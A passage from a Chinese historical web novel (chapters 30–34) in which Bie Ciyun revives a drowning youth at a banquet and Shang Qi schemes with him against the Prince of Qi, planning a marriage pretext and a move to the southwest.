旁人不知道别此云为何蹲下,但也不敢靠近,万一人死了赖上他们怎么办? “姿势错了,双手交叠后要垂直向下压,位置再偏右一些。” 30.第 30 章 别此云心肺复苏的动作在听到一道稚声响起后,微不可查的顿了一下,便照人说的继续动作。 “再请过来一位哥哥,给小郎君清理口鼻内的异物,等别公子按压三十次后,给小郎君渡两次气。”尚乌桕也是听见动静过来的,没成想竟然是有人溺水。 长平村附近有条河,夏日里常有小儿贪凉下水嬉闹,人去的多了总有几个中招的,阿兄教过他如何急救,只是他年纪太小,无论是心肺复苏还是人工呼吸都不行,一个力气不够,一个肺活量不够。 心肺复苏是个气力活,一般姑娘哥儿都做不长,更不说眼下这群人里,都是锦衣玉食养大的,手上顶多拿过毛笔和绣花针。 “琴砚,过来,照他说的做。”别此云知道这时候没有其他人愿意插手,他和琴砚两人也足够了,若是待会力气用尽,正好和琴砚交换。 琴砚一身池水,却也没工夫去更衣,听公子的话跪在叶栖身边,微抬叶栖的下颌,迫使人张开嘴,再伸手进去清理。 等自家公子那头按压停下,又低头给人渡气。 尚乌桕靠的近,时刻观察落水的哥儿,根据喧哗声传出来的时间,眼前的哥儿入水的时间并不长,但万一运气不好呛水过多,要救回来也没那么容易。 若是阿兄在就好了,以前村里还是溺水都是阿兄救回来的,光靠他一个没出师的大夫,根本不能应对所有突发情况。 “请府医了吗?”说起大夫,尚乌桕想起苏长屿说过,世家一般都养的有府医,有人落水是大事,府医怎么还没过来。 “回小郎君,已经着人去请了。” 那府医也来的太慢了,尚乌桕又扭过头,目光一动不动的看着费力救人的二人,终于再第四轮按压的时候,躺着的叶栖有了动静,咳出了池水。 人救活了。 别此云双臂发麻,再压下去他不一定能坚持的住,不过总算没白费。 就在琴砚要搭手扶公子起来的时候,一双更小的手先一步伸过来,只是人力道不够大,便自作主张的把公子的胳膊搭在肩上,企图让公子撑着他的肩膀起身。 “别哥哥,没事吧。”尚乌桕咧嘴一笑,他没想到事情竟然会峰回路转,原以为宴会上见到的别公子不是阿兄认识的别公子,但见人对溺水救治的法子,便可知定然和阿兄有干系。 真是踏破铁鞋无觅处,得来全不费工夫。 “没事。”别此云也大抵猜出眼前小哥儿的身份,别的不提,他在宴上也见过尚柒的邻居赵厢,尚乌桕许是跟着赵厢出门见世面的。 这头的动静也终于是把宴席上的娘子郎君全吸引过来了,为首的柳家主母连带着孙家管家的夫人都步履匆匆,等人正挤到一块,几个丫鬟就上前汇报消息。 原本见自己侄儿浑身是水,还要思索时不时和别此云起了冲突导致的,没成想人竟然是别此云救起来的。 “虽是盛夏,但在水里走一遭怕也容易伤身,还是快快换上干净的衣裳,再请大夫看过才是。”苏怡然走上前,先发话,孙夫人哪有不应的,立刻叫身边的嬷嬷先带人离开。 至于叶栖究竟是怎么落水的,柳家主母肯定会弄清楚,宴上耍这等手段对付叶氏的人,也是蠢透了。 但这跟苏怡然没什么关系,只管作陪一会,就打算告辞了。 左右叶栖落水的时候他家哥儿不在场,甚至一群人见着叶栖落水还是他家哥儿连带着身边人救下的,怎么说也是这位叶夫人欠她们的,没道理救命恩人还要遭人审查。 一场闹剧没那么容易结束,小孩子们也都被吓到了,不过更多的还是被尚乌桕临危不乱的模样震慑到了,一个个都挤着要问尚乌桕怎么会救人呢。 “公子。”琴砚也换了一身干净的衣裳回来,“那便是尚东家的弟弟,尚乌桕?” “应该是。”且这小哥儿实在聪明,竟然认出了他的身份。 “回去后是否要告诉尚东家一声?”尚东家没有安排弟弟妹妹见公子,就是怕两个小的不小心透露公子背后做的事,哪想阴差阳错竟然在这样的场面下见了面。 “我不必说,尚柒也会知道。”别此云已经想明白尚乌桕为何会出现在宴会上,这小哥儿是来蹲他的,要说往日宴上多半是瞧不见他,偏巧今日他赴宴了。 要说赴宴也就罢了,左右他身边的人没有泄露,若是平平安安等宴会结束,尚乌桕怕是根本寻不到他,可谁料有人落水,把宴会上的人都吸引过去不说,尚乌桕也瞧见他会一点心肺复苏。 想来也是在这上面露了根脚,被人喊了一声别哥哥。 而尚乌桕虽然应付着小孩,目光却时不时落在别此云身上,刚到宴会上他就见过人,当时心里还感叹好漂亮的哥哥,比他在西南认识的姑娘哥儿还要好看很多倍,只是人看着不太好接近。 别哥哥出身别家,阿兄要是想娶人,不太好实现,他们尚家的门第太低了,别家根本看不上。 不过话又说回来,万一别哥哥也喜欢阿兄,明娶不成只有暗抢了,他是完全支持别哥哥做他嫂夫郞的。 人好看,心底也善良,全场这么多姑娘哥儿,只有别哥哥出手救人,可见人品一流,和阿兄是天造地设的一对。 …… “阿嚏——”尚柒抬起衣袖,打了个喷嚏。 “尚兄可是偶感风寒了?”谢琅见人聊的好好的,突然来这么一下,关心道。 “未曾,许是谁在念叨我。” “尚兄可不要忌讳忌医,我在长安也认识几个好大夫,医术尚佳,区区风寒一贴药下去必然药到病除。” “谢少爷是不是忘了我也是个大夫,医术不说绝顶,也在西南有几分名声,一贴药下去药到病除,未免夸张。”真这么见效,多半是猛药,亏得这个时代没有抗生素和激素,不然一定泛滥成灾。 “不是我忘了,而是尚兄你根本没说你是个大夫,我只知道你家卖药材,却不晓得竟然是医学传家。”谢琅不由得打量人,尚柒非是夸大其词之人,人说在西南有几分名声,想必医术的确不错。 但尚柒才多少岁,与他交谈,文章典故无一不知就算了,还能腾出手学医术? “我没说吗?”尚柒一顿,好像的确没有,他倒没习 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“再过两日就有人去万年县大闹,到时候还要靠谢少爷吹一股东风到满长安。”尚柒当然也知道要整治齐王宜早不宜迟,等这次出完手,他可静静隔岸观火。 “好说,齐王那家伙行事嚣张,我早看不惯了,若能叫他收敛一二,再好不过。”谢琅明摆着要当乐子人,不光不劝还要添砖加瓦,让火烧的更旺。 回到家,尚柒算算时辰,尚乌桕该回来了才是。 宴会一般下午结束,偏巧这么久都还没动静,难不成宴上出了什么变故? 就在尚柒要着人去苏府问问的时候,尚乌桕带着一大堆东西出现在门口,兴奋的向尚柒挥手。 “阿兄我回来了。” “怎么这么晚?可是在宴上玩嗨了,叫赵郎君为难多留了?” “才不是,今日宴上有人落水,事后落水哥儿的家长硬是把宴上的人留下查了个明白才放人,我因为救人出了力,叶夫人就送了不少东西给我。”尚乌桕可是头一次挣钱,兴奋的不得了。 “你救人?”尚柒眉心轻皱,非是他看不起自家弟弟,而是尚乌桕年岁小,就是有法子自己也来不了,但要外人信任一个九岁哥儿的话行事,也跟天方夜谭没什么区别。 “我只是动了动嘴皮子,动手的另有其人。”尚乌桕说着声音都低了几分,眼睛也左看右看,就是不肯看尚柒。 “……别告诉我救人的是别公子?”尚柒在世家人脉有限,这场宴会上能够出现且愿意相信一个九岁小儿说的救治办法,只有一位。 “阿兄当真是神机妙算。”尚乌桕企图蒙混过关。 得了准话,尚柒深吸一口气才稳住情绪:“所以去宴会,也是想见一见清闲观背后的别公子究竟是谁?” “嗯啊。”尚乌桕含混一声,就知道躲不过阿兄。 尚柒就知道,孩子静悄悄必然在作妖,亏得他还以为尚乌桕是在家里憋闷想要出去玩,结果是为了查别此云的身份。 “进屋,从头到尾将你在宴上的所见所闻都说给我听。” 31.第 31 章 “……事情就是这样,以前阿兄你说世家大族的都不折手段,我还不信,今日才算见到了世家内里的肮脏。”尚乌桕说的义愤填膺。 宴会上的事说来也不复杂,究其缘由还是柳家主母要给嫡子相看的事抖落出去,不少人起了心思。 哪想柳家主母身边还带了一个侄儿,看柳家主母的态度,心底估计是属意自家侄哥儿,于是有人一时打了歪主意,想着叶栖死了柳确的亲事便没那么容易定下来。 事后人也查了出来,是个门第不高的小世家,当然能够在长安混,也非是一点地位没有,只是面对叶氏,老一套欺软怕硬就行不通了,就是家主亲自登门赔礼道歉,这事也没那么容易结束。 “很正常。”时下大族亲事,哪有爱情可言,多还是利益博弈,像是没有根基的儿郎想要往上爬,个个都拿出十八般武艺,门楣低的姑娘哥儿想要嫁的好,自然也要耍些手段。 不过涉及人命,事情就大了,尚柒是不知叶氏最后要怎么解决这个问题,但若是犯事的人在家里不够受宠,恐怕命是保不住的。 但这些与尚柒无关,杀人偿命天经地义,叶栖没死成是此云的功劳,不是白给他人脱罪的理由。 “阿兄,别哥哥真好看,比礼县的所有想嫁阿兄的哥哥姐姐都好看。”尚乌桕被揭开目的,索性不装了。 “笑容收敛一些,你便是个哥儿,如此评价另一个哥儿,也不合礼数。”尚柒扶额,别此云的确生的好看,但他第一次见面关注的点全在两人针锋相对的言辞上,也不见跟乌桕一个德行。 “先前阿兄才说我是小孩子,既然是小孩子讲那么多礼数干什么。”尚乌桕忿忿不平,他还不能说人好看了。 “算了。”尚柒妥协,“此云和我有生意上的来往,但对外我们只称谈得来的友人,万一有人像你打听此云的消息,知道该怎么说话吗?” “阿兄我又不是三岁孩童,再说了,我可是你一手养大的,只有我套别人消息的份,放心好了,我一定保护好未来嫂夫郞的消息。”尚乌桕小手一挥,气定神闲的回复。 “他不是你未来嫂夫郞。”尚柒痛苦的反驳,他不记得什么时候给过他喜欢别此云的暗示。 “哼,他就是。”尚乌桕说的笃定,“我可是听说这次宴会,就是为别哥哥和那什么柳少爷办的,若不是出了这档子事,说不定别哥哥都被人抢走了。” “……”尚柒疲惫的拍了拍尚乌桕的肩膀,“你去休息吧。” “可我还没吃晚饭。”尚乌桕揉了揉肚子,宴会上就这点不好,连个饭都吃不饱。 “那就去厨房看看有什么能吃的,我想自己一个人待一会。”再不打发走这个小鬼,尚柒确信他们还要为别此云争吵一番。 尚乌桕像是反应过来什么,露出安慰人的神色,在拍拍尚柒的手臂:“阿兄放心,别哥哥的娘和叶夫人相处的并不愉快,婚事肯定吹了,但你也不能放松警惕,实在不行你就想办法偷偷把别哥哥带走,到时候我们跑去西南,就是天王老子来了,也不能分开你们。” “我就说不能让小孩过早的看话本子。”尚柒神色复杂的看向乌桕的背影,他和别此云什么事都没有,便已经在乌桕这里演完一处捧打鸳鸯私奔记了,真要有什么,还得了。 不过,此事也提醒他,别此云的确被催婚催的厉害,之前这人还说能够应付,现在都不得不去宴上了。 此事他能帮别此云吗?现在他和别此云是一条绳上的蚂蚱,如果别此云真的成亲,不管对方是谁,都有风险暴露他们的计划。 更何况尚柒不认为这个时代的男子能够大方的接受自己的夫郞与外男接触,哪怕未婚夫也铁定不乐意。 但他要怎么帮别此云呢?长安的世家权贵又不如地方豪强好控制,他是有些小聪明,可时代的鸿沟不是光聪明就能填满的,至少没有势力之前,他没有帮别此云的资本。 近些时候他得去找别此云一趟。 也是巧合,尚柒这头瞌睡刚来了,别景季那边就送了枕头,别家大少爷又下了请帖让尚柒到别府诊治。 …… 宴会的插曲压根对别家没什么影响,除开苏怡然叮嘱最近别此云不出门。 别此云出不去,不代表尚柒进不来,别景季请尚柒给张青浣看病的事别府知道的人不多,就是知情者也多不抱希望,不曾过问。 这次别景季下帖,主子里除开夫妻二人,只有别此云知道,不过他确信兄长多半是不肯让他再去,就怕他和尚柒过多接触。 说来,兄长的直觉也不算错,他曾以为,这世界芸芸众生没一个和他有相似的灵魂,不想老天爷还是有点人情味。 尚柒的出现像是他多年的阴霾终于被一缕阳光突破,得见天日。 若非是他的身份的阻拦,他定会追求尚柒,毕竟尚柒生的好,脾性也好,更不说他们拥有共同的秘密。 可世上总是十有八九不如意,在没有彻底和家里决裂之前,他和尚柒是不可能被允许在一起的,而他真要是离开长安,说明事态也发展到严重的地步,那时候局势岌岌可危,也没时间给他谈恋爱。 当然了,最重要的还是尚柒愿意,不过眼下根本走不到尚柒愿不愿意这一步,他们的关系最好保持在合伙人的位置上,这样他才能完全理智的走好每一步。 “公子,叶夫人遣人送了重礼过来感谢。”琴砚得了夫人院里的消息过来。 “除了重礼还有别的什么吗?”不管叶栖是否是叶夫人给儿子属意的夫郞,凭借叶栖侄儿的身份,叶夫人都要感谢别此云出手相救,送礼感谢在别此云预料之内。 “今日过来送礼的是叶夫人身边伺候的嬷嬷,礼送到了还去夫人院里说了会话,旁的没什么。” “娘什么态度。”别此云新生警惕,叶夫人宴上对他们家态度并不和善,就算送谢礼,寻常外院办事的管事足以,怎么还把身边的嬷嬷派来了。 “夫人只客气招待了人。” “叫书墨多 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“情况比上次好多了,药方我再改两味药,但要彻底治好,最少要半年时间。”所以不必有什么轻微变化就大动干戈请大夫,至少等把他开的药吃完,不过这话尚柒没说出来。 “先头这么久都过来了,只半年就能看好已经是天大的福分,我们夫妻二人还要多谢尚大夫。”张青浣吃药前还半信半疑,现如今在没有怀疑尚柒的地方,只盼能够结交好这位神医,日后有个三灾六病,也有保障。 “看病救人,是大夫的本分,不必言谢,再说,二位也没少给我诊金。”尚柒说着玩笑话,果然叫二人也眉开眼笑起来。 病的事揭过,就开始闲谈,世家出身的人,只要想交好,再没有聊不上的话题。 尤其是聊的深入后,别景季发现尚柒竟然在文学上也了解颇深,至少接上他提及的话题游刃有余。 “我观尚大夫对九经颇熟。” “平日无事,喜欢翻翻书,九经是儒家经典,自然也看过一些。”尚柒不是文科出身,所有古书都是在大历学习的,要说多厉害也没有,他知道自己水平在哪儿,但遇事不决全背下总不会有错。 “那尚大夫可有想法考明经科?” 时下科考常科主要两门,明经科和进士科,前者容易考一些,但考上了前景有限,后者难一些,但若登榜,往上爬的机会更多。 自然了,常科还有些不怎么出名的,如明法、明算之类的,都算偏门,一般不到万不得已都不会去钻研。 “别少爷,我虽会治病,但本职其实是商人,商人不得科举。”真要入朝为官,尚柒肯定更愿意走进士科。 “尚大夫想来也是关注过科举的,商人明面上不能科举,但私下献干谒诗的从不见少,如今朝中也有一些官员是商人出身。”别景季看人的本事不算差,他笃定尚柒真若参加科举,是有本事中的。 虽说眼下寒门庶民登榜的概率越来越小,但陛下绝对不会让榜上一个寒门出身的人都没有。 32.第 32 章 “别少爷见笑了,我于诗赋一道没什么才能,恐怕入不了贵人的眼。”尚柒微笑婉拒了。 现在大历什么情况一般人不知道就算了,世家还能不清楚,这会入朝为官能有什么福享,说不定哪天来了乱军围攻长安,成了祭天的刀下亡魂。 当然,如果有什么特殊情况,他也不是不可以试试。 别景季叹气,揭过此事,其实尚柒真要是想参加科考,凭借别家在朝中的名声,未必不能给他挣一个资格,奈何尚柒不愿意,他也不好自作主张。 “说来我也好些时候未见别公子,先前还说有空我们一起论道,奈何近日杂事缠身,一直不得空,希望别公子没生我的气。” 尚柒不经意提了一句,态度坦然,叫外人看去也觉得他和别此云的确是君子之交。 “此云近些日子也不得空。”张青浣略略提了一下,话题又转到尚柒身上,“尚大夫也向道?” “道医不分家,学医术的时候也多少了解一些。” “尚大夫尚未及冠,医术儒学道学都略有涉及,可见博闻广识,不日有场文会,都是长安有些名气的读书人参加,尚大夫有兴趣去吗?”别景季惊喜于尚柒的本事,想要深交,平日赴宴往来就少不了。 “近日行程不定,可能去不了。”尚柒未曾应下,等齐王的事被掀开,朝堂之上必定沸沸扬扬,文会办不得办的下去都说不好。 而齐王这头事了,紧接着五皇子的事必然又要浮出水面,到时候皇帝一定会敲打各大世家,在没有撕破脸前,世家还是要夹起尾巴做人。 不过看别景季和张青浣两人严防死守,恐今日在别府见不到别此云,难不成夜里他还要当一回梁上君子? 来别府三次,不说将别府内部结构摸清楚,但从哪里能翻墙入院他已经记下,去梧桐苑的路也不复杂,尚柒有自信能摸过去。 显然别此云也打的这个主意,尚柒出府的时候,门房不经意塞了一则纸条给他。 亥时三刻,梧桐苑见。 尚柒不动声色的藏好纸条,点头同别景季道别,等马车回到尚府,就换了一身练功用的紧身衣,赶着坊门关闭的时间到别府附近隐匿。 就算夏日夜短,亥时还是太晚了,戌时过半其实天色已经黑了下来,所以尚柒决定早一点潜入。 尚柒做梁上君子的机会不多,但不代表他不熟练,别府处处都挂了灯笼,不过夜里值守的下人不多,大部分都是普通人,尚柒凭借房顶和树杈一路摸到梧桐苑。 院里和上次他来一样寂静,梧桐苑的下人不多,夜里只留一两人值守防止烛火烧破灯笼,而别此云的寝卧他也去过。 片刻功夫,在梧桐苑值守的侍人突兀听见一道敲击声,只他们四处张望,又未曾发现声音从哪里传出来的,吓的人心惊肉跳。 此时,翻窗进人屋子的尚柒正和别此云面面相觑。 尚柒着实来的不是时候。 “你来早了。”别此云面无表情的拉合上寝衣。 “左右天色已经黑了下来,早些进来我还能同你说话打发时间,不至于在外面干等着喂蚊子。”尚柒假装什么都没发生,自然的从窗边走到桌边,寻了个座位坐下。 如果不是对别此云略有些躲闪的眼神,估计别此云也会揭过这茬。 “我想赤身裸体你应该在澡堂没少见过。”更何况刚刚尚柒进来的时候,他顶多漏了个肩膀,哪怕没穿衣物尴尬的不该是他吗? “有没有可能,我是南方人。”尚柒语气温和的反驳,就是亲爹的赤身裸体他都没见过。 “……齐王的事你打算什么时候开始?” “已经开始了,明日你多半就会听到风声。”别府离万年县也不远,都不用谢琅推波助澜,别府就能收到风声。 别此云点了点头,还不待再开口,尚柒又道:“最近被催的厉害?” “小乌桕回去告诉你了。” “是我没看住他。”提到尚乌桕,尚柒难免头疼,“我已经叮嘱过他了,不会泄露你的事。” 虽然尚乌桕也不见得知道多少,但有关别此云的消息一个词都不许透露就对了。 “他很聪明,我不大喜欢小孩,难得遇上一个不讨厌,还讨我欢心的小哥儿,怎么会为这点事责问你。”尚乌桕能凭借自己的人脉到宴会上来,那是他的本事。 “他的确有点鬼精灵,但年岁小,心思单纯,做事难免疏漏。” “不是有你做他兄长?” “你说的有道理,那么我之前的问题能得到一个答案吗?”尚柒又把话绕了回来。 “这事你帮不上我,我也尽可能拖延,实在不行只有诈死离开长安,想来尚东家愿意尽一尽地主之谊。”后路别此云早已经想好,只是不到万不得已别此云不想用这个办法。 “诈死不是好事,你的大部分根基都在长安,全部搬走不是一朝一夕的事。”尚柒没想到别此云竟然用这么激进的办法。 “也不一定要全部搬走。”比如在长安附近的庄园他不会轻易出手售卖,且他的大部分产业都没有挂在他的名下,他就算诈死也不会影响这些产业。 唯一需要担心的就是他离的太远,被那些威胁过的世家看出端倪。 “那么你家里人呢?”在尚柒看,别此云和家里人关系不算亲近,但也绝不会说一点感情没有。 “难道我还能告诉他们要他们支持我篡权夺位吗?”若此刻他已经是一方霸主,别家或许会抛弃太子跟他,但现在他什么都还没准备好,就算是一家人,又该拿什么信他? “现在不行。”不说他们手里暂时没兵,就是有恐怕别家也不会铤而走险。 “以后也不见得行,还是说尚东家有什么高见?”别此云走到尚柒跟前,半阖眼睛,像是在打量尚柒什么。 “高见没有,但按照你的计划,总是要去西南的,比起诈死,或许有其他办法让你名正言顺的过去。”这样也不至于和别家彻底断开联系,等在西南势成,别家或许还会成为他们的助力。 “除开嫁人,我想不到名正言顺离开长安的办法,而嫁去西南,别家不会同意。” 地方豪强还攀不上别家的门楣,他娘大抵也不希望他离开长安。 “或许可以先成亲,再想办法调去西南。”让苏夫人同意别此云嫁去西南肯定是不行的,但要是让别此云先成亲,后面再跟着夫婿一块调任去 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“只是表象,若不让他相信我不愿出仕,又怎么能体现我愿意为你参加科考的诚意。”要想别景季帮他,最重要的就是让别景季相信他想要娶别此云不是别有用心。 “商户想要拿到参加科考的机会,并不容易。” “但我们站在巨人的肩膀上。”虽说做法可耻,但到了封建社会,想求活路他的道德观也不是很高。 别此云心底思索了片刻,明白尚柒的打算,献干谒诗,既能拿到参加科举的机会,又能扬名,哪怕官位不高,只要才名远扬,想必看重文名的别家未必不会答应。 这的确是好办法,可:“有必要做到这个地步吗?” 尚柒并不喜欢他,而且尚柒也没打算做官。 “我以为我们都干了谋逆的勾当,其余事都比不过这件事才对。”这个办法是他经过深思熟虑后得出的。 “你我结亲,外人看来既成事实,岂非误了你的桃花。”别此云假作放松,故意调侃。 “不着急,我也没那么着急成亲。”尚柒并不将此事放在心上,反而戏言,“比起桃花,你更该担心我能不能蟾宫折桂。” “你不打算考明经科?”别此云白日可是听到兄长让尚柒去考明经。 “明经科前途有限,虽说我并不打算在官场浮沉,但也不能对外表现出来,进士科难考但想要配的上你,就必须考。”别家又不是天使投资人,就算自降身份,也要投资一个前途无量的青年才俊。 “你若当真确信自己愿意,我会替你收集历代科考的试卷,以及榜上有名者的答卷。” “办法是我提出来的,若不愿意我不会开口。至于试题,若能得你兄长帮助,凭借他在朝中的关系,会更容易弄到手。” “看来我没有插手的余地。” “怎么会,既然有了准备,你可以慢慢搬迁一部分产业去西南先耕耘,我们在西南可是要养一只巨型吞金兽。”尚柒承认赚钱的本事比不过别此云,各自在合适的领域发光发热,才是良好的合作开端。 33.第 33 章 卯时末,天大亮,尚柒一夜未眠回到常乐坊,厨房正好送了朝食过来,随意吃了两口,连话都没和南枝乌桕多说,就一头栽进床上休息。 昨夜别此云得知他的计划后,就开始事无巨细的同他商议细节,从尚柒该向哪位贵人献干谒诗得到赏识,再到如何取信别景季,让别景季心甘情愿帮忙,到最后该转移那些产业到西南,好养吞金兽。 直到烛火燃尽,别此云的兴头才歇下,兴奋劲过了人就开始昏昏欲睡,可惜外头坊门还关着,尚柒出不去,只能留在梧桐苑等坊门打开再走。 于是别此云就当着尚柒的面倒头就睡,还大方的让出半张床,道尚柒要是困了也可以上去小憩。 尚柒当时很心动,但又怕一觉睡过头,等醒过来天色大亮,他可就不好混出别府了。 到底年轻,还能熬夜,只是别此云对他当真毫无防备,就这样当着他的面睡着了,也不知道别此云还记不记得他说过他男女通吃,凭二人的武力值,吃亏的是谁一目了然。 算了,只当时别此云对他人品的认可。 脑子勉强转了几个弯后,尚柒就人事不省的睡过去了。 “阿兄昨夜不在家?”尚南枝早出晚归,除去早上和晚上能见着阿兄,其余时候都是见不到人的。 “应该不在,许是又去翻哪家墙头了。”尚乌桕一口咬住肉包子,吃的津津有味。 “长安哪家人得罪了阿兄?要阿兄翻墙头去找把柄。” “也不一定是找把柄,可能去看嫂夫郞了。”尚乌桕打了个哈欠,昨夜蚊子太多,没睡好,今日一定把蚊香做出来,不然今晚还没有好觉睡。 “嫂夫郞?哪来的嫂夫郞?上次你说的那个别公子?”尚南枝一直以为是尚乌桕胡思乱想。 “嗯呐,阿姊你最近夜里回来的越来越晚,咱们都没好好说过话,你都不知道最近发生了什么,我可是见到了别哥哥,是个超级无敌好看的哥儿。”尚乌桕提起别此云,精神头就来了,人也不犯困了,小嘴巴巴讲完了他是如何认识别此云的。 尚南枝听得一愣一愣的,等尚乌桕说的口干喝粥时,才找到机会插嘴:“就算阿兄喜欢别公子,这样不清不楚的夜里去拜访,也不太好。” 就是干这事的人是阿兄,也不太好。 “阿兄肯定不会叫人发现,再说了,阿姊你还不信阿兄的品行吗?”尚乌桕就开放多了,他确信阿兄做梁上君子定然不是去会私情的,可能只是想别哥哥了,过去见见嘛。 别府和他们家又不在一个坊,夜里见了面又不是说能马上离开,一夜未归也很正常。 “我自然信得过阿兄,但”尚南枝想说不合规矩,可仔细想想阿兄办的不合规矩的事又不止这一件,“总之,你好好劝劝阿兄,若真是喜欢别公子,咱们想办法撮合,不能夜里拜访。” “嗯嗯,阿姊放心。”尚乌桕浑不在意的挥手,显然没放在心上。 尚南枝还想要再说什么,奈何去宣义坊的马车已经备好,织坊还有一堆事等着她忙活,只能只能阿兄当真有分寸,她不想哪日去衙门领阿兄回来。 “阿姊就是喜欢多想,阿兄翻墙也没少去地方豪强家,别家的巡逻指不定还不如地方豪强,能抓住阿兄才怪。”尚乌桕对尚柒的功夫盲目自信,就投入自己的蚊香大业中,今日他和蚊子必要杀出个你死我活。 尚府一时岁月静好,可万年县所在的宣阳坊就热闹了。 作为管辖长安一半地区的县衙,万年县可是秒杀大历百分之九十九点九九的衙门,剩下零点零一是长安县。 和其他县衙比,万年县能遇上百姓鸡毛蒜皮的纠纷,那都是祖上烧高香了,哪怕是杀人的命案也完全不觉得棘手,因为一般情况下,万年县接待的都是达官显贵家的子弟。 不是纨绔闹事,就是世家子弟为点矛盾打起来,这群娇生惯养的少爷们,磕了碰了都要嗷半天,万年县里做事的,上到长官下到小吏,都被指着鼻子骂过要他们好看。 有的是放狠话,有的是真记仇,能在万年县长久做下去的官,后台都硬。 现今万年县的县令,也是世家出身,虽比不上萧谢这样的大世家,但在朝堂上也同别家没什么区别。 万年县令的位置不好做,容易得罪人,但好歹也是正经正五品官员,能在人才济济的长安坐到这个位置,是多少人求不来的机会。 原本杜菽也这么认为,好歹爬到正五品,再往上就是京兆府,当然京兆府做事也难办,但在长安京兆尹的官位已经不低了,许多人一辈子都爬不上三品的位置。 再熬几年,杜菽凭借家里的关系往上升,前途一片坦荡,哪想今日一到衙门,接了一桩击鼓鸣冤的案子,只看告状者的叙述,杜菽就觉得他这万年县令要做到头了。 杜家门楣不低,世家中也属中等偏上,但对上齐王又底气不足,最要紧的是杜菽非家中嫡长子,不继承家业,杜家不见得愿意为了杜菽和齐王鱼死网破。 事情难办了,前来告状的人数不少,杜菽要么想办法要这些告状者闭嘴,然后去齐王跟前卖好,要么继续查下去,得罪齐王。 或许案件结束,齐王会收到惩罚,可等齐王惩罚结束,他杜菽的好日子也就到头了,谁不知道齐王小心眼。 “难办,难办。”杜菽和县尉在县衙门不停踱步。 “杜大人,这事恐怕没那么简单,齐王在长安行事,你我或多或少都听说过,但这几年来一直平安无事,总不会这些家属突然想通要来找齐王麻烦。”白县尉已经隐隐嗅到其中危险。 “那就更难办了,什么人会对付齐王?什么人能对付齐王?”杜菽说的焦头烂额,好端端的夺嫡之事怎么会牵扯到他头上,他不过一个正五品的县令,上回牵扯进夺嫡之事可是折了正四品的侍郎。 “杜大人,咱们要快些想出应对的法子,不管是齐王还是这次事情的另一人,咱们只能投靠一个,不尽快决定两边都得罪了,更没有活路。”已经四十出头的白县尉能够没有大背景混到万年县县尉的位置,显然不是吃素的。 “我们还不清楚要对付齐王的是谁?万一此人不愿意保我等,我们还不能找他要 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别家就在宣阳坊,收到万年县传来的消息是最快的一批,消息入梧桐苑的时候,别此云刚起床洗漱。 “昨日说今日就有动作,没成想这样快,事态已经是失控了?”别此云懒洋洋的走到院子。 “消息已经传出宣阳坊,万年县的苦主都还没走,有两家都抬着自家孩子的尸体在万年县门口,要齐王给个说法。” 尸体自然是真的,都是近些时候从齐王府扔出来的,尚柒专门遣人盯着,才从乱葬岗捞出这两具尸体。 要说只有两具尸体,也看不出什么,至少齐王可以否认,毕竟不是从他家搜出来的,巧就巧在多年来替齐王扔尸体的下人偷了懒,许是早前也做过掩盖,但看此事一直没有东窗事发,便越发懒散。 活人总是不喜欢碰死人的,两具尸体的身上还有齐王府的衣裳,这是不幸中的万幸,不然尚柒还要伪造齐王府的东西,好做证物。 至于证人,除开他找的,其他和齐王不对付的皇子不会放过这个落井下石的机会。 不过首要,是得把事情闹到满城皆知,广运帝耳朵还没聋,消息早晚会传到他耳朵里,御史台的御史也没办法继续装聋作哑,萧氏此刻也不敢大张旗鼓庇佑齐王,否者就是众矢之的。 “继续盯着齐王和萧氏的动向,别让他们有机会将人灭口。” “我们的人一直守着,不过张全武传来消息,似乎他们还遇上另外一路人,不像长安路数。”琴砚有猜测多半是尚东家的人。 “也对,尚柒做事面面俱到,这点小事不会有疏漏。”别此云也没说要把人撤回来,左右两拨人保护苦主,肯定更周全,“先前寻人接触禁军的事办的怎么样了?” “说是已经接触了几个,不过暂时还在温水煮青蛙,没有摊牌。”撬禁军不是一朝一夕的事,但别此云知道自己要离开长安后,就想加快这事得进度。 最好这些人能够在他去西南之前也离开,不然他不在长安,事情没那么好安排。 “让他们加快速度。” “是。” 34.第 34 章 转眼到了下午,外面的日头已经毒辣起来,隔着窗户都能感觉到一股蒸腾的热气。 尚家在长安没有冰窖,近来天气太热都是着人上街去买,夏日用冰的地方实在多,不少人看准商机,备了不少冰窖卖冰,算利润也不是小数。 可见有头脑的生意人在哪儿都不缺。 尚柒屋里已经有下人送来冰盆,叫彻夜未眠的尚柒睡足了精神才懒洋洋的睁眼。 “已经这个时辰了。”尚柒朝窗户外看了看天色,想来万年县衙此刻正热闹的厉害,不过事情只要起头基本就和他没什么关系。 也不知西南如今的情况如何,按照蔺肃和宋月隐的本事,地盘应该找好了,剩下的基础建设也不过是时间问题。 至于私兵,五皇子事发,想必广运帝一定会彻查几个儿子私下里是否也瞒着他养兵,为了不被广运帝发现,四皇子一定会减少和私兵的联络,这就是他们的可乘之机。 —————————— 应州。 蔺肃抹了一把额上的汗水,原本白净面相的读书人整日在山上操劳,都被晒的黝黑了几分,好在事情都在计划中。 从拿下山寨到改造山寨,也不过过去了几日功夫,兵营已经建造的像模像样,干活的山匪们也都算卖力,毕竟蔺肃拿下这些山匪后,杀了几个穷凶极恶的立威。 余下的要么坏的不算彻底,要么胆怂,基本上是让干什么就干什么,更不说每日蔺肃都是给足了饭菜。 白米饭肯定是没有,糙米是管够,菜里油荤也不常见,但盐没少加,能有个咸味配饭,已经是许多人求之不得的好日子。 “这群土匪,瞧着都是病恹恹的,先头蔺管事你要他们做事,我还以为一个个都干不动活呢。” “地里干活的农户有几个身体精壮的,不依旧一年到头在地里干重活。”时下农人,没几个能吃饱饭的,大部分都是一副瘦竹竿样。 “咱长平村的农户个个都是膀大腰圆,我看就是村里的娘子郎君一拳也是能打的人头破血流。”村里的娘子郎君不是养尊处优的命,自打能吃饱饭后,干事的劲头反而越来越旺盛,个个都是从庄稼地里练出来的好手。 光是那长满茧子的巴掌,就叫人望而生畏。 “天底下有几个村子的人能跟长平村一样,不说远了,就说咱们礼县隔壁几个县过得什么日子,也是能看见的。” 蔺肃听着手下嘀嘀咕咕的谈话,也不插嘴,大部分人的幸福都是对比出来的,像是东家发达后成长的一代,多半都不记得小时候家里挖野菜喝清汤的苦日子。 等出了礼县,大部分人才知道天下间能过上礼县百姓的日子少之又少。 “蔺管事,宋管事送了消息过来。” 蔺肃应了一声,拆了信,不出意外看到宋月隐说有人打探他的事,他父亲是蔺家嫡系,他母亲只是一介歌姬,连妾室都算不上。 